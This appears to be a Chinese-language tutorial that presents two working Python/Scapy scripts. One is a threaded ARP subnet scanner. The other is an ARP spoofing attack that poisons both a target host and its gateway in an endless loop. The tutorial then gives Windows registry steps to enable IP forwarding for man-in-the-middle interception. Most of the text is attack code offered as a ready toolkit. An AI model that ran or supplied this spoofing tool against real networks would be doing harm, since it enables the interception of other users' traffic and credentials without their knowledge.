Python 实现ARP扫描欺骗工具

实现简单的ARP扫描工具: 传入扫描参数main.py -a 192.168.1.1-100 扫描网段内所有的在线主机并显示其MAC地址.

from scapy.all import *
from optparse import OptionParser
import threading

def parse_ip(targets):
    _split = targets.split('-')
    first_ip = _split[0]
    ip_split = first_ip.split('.')
    ipv4 = range(int(ip_split[3]),int(_split[1])+1)
    addr = [ ip_split[0]+'.'+ip_split[1]+'.'+ip_split[2]+'.'+str(p) for p in ipv4 ]
    return addr

def arp_scan(address):
    try:
        ret = sr1(ARP(pdst=address),timeout=5,verbose=False)
        if ret:
            if ret.haslayer('ARP') and ret.fields['op'] == 2:
                print('[+] IP地址: {} => MAC地址:{}'.format(ret.fields['psrc'],ret.fields['hwsrc']))
    except Exception:
        exit(1)

if __name__ == "__main__":
    parser = OptionParser()
    parser.add_option("-a","--addr",dest="address",help="--> input 192.168.1.0-100")
    (options,args) = parser.parse_args()
    if options.address:
        addr_list = parse_ip(options.address)
        for item in addr_list:
            threads = []
            t = threading.Thread(target=arp_scan,args=(item,))
            threads.append(t)
            t.start()
        for item in threads:
            item.join()
    else:
        parser.print_help()

简单的ARP双向欺骗: 可以使用route -4 print 获取本地机器的网卡名称

from scapy.all import *
from optparse import OptionParser
import threading

# 生成ARP数据包，伪造网关欺骗目标计算机
def createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP):
    pkt = Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2)
    return pkt
# 生成ARP数据包，伪造目标计算机欺骗网关
def createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP):
    pkt = Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2)
    return pkt

interface = "Realtek PCIe GBE Family Controller"   # 本地接口名称
gatewayIP = "192.168.1.1"                          # 本网段的网关地址
tgtIP = "192.168.1.3"                              # 目标计算机的IP(被欺骗计算机)

srcMac = get_if_hwaddr(interface)                  # 本机的MAC地址
tgtMac = getmacbyip(tgtIP)                         # 目标计算机的MAC地址
gatewayMac = getmacbyip(gatewayIP)                 # 网关的MAC地址

print("[+] 本机MAC: {} ---> 目标MAC: {} ---> 网关MAC: {}".format(srcMac,tgtMac,gatewayMac))
print("[+] 目标IP: {} ---> 网关IP: {}".format(tgtIP,gatewayIP))

pktstation = createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP)
pktgateway = createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP)

while True:
    t = threading.Thread(target=sendp,args=(pktstation,),kwargs={'iface':interface})
    t.start()
    t.join()
    s = threading.Thread(target=sendp,args=(pktgateway,),kwargs={'iface':interface})
    s.start()
    s.join()

合并起来吧，构成自己的ARP欺骗工具包

开启转发功能。开始运行里面输入regedit 打开注册表编辑器，在注册表定位下面注册表项

HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/ Services/Tcpip/Parameters

选择下面的项目：IPEnableRouter:REG_DWORD:0x0 找到项目鼠标右键修改数值为1
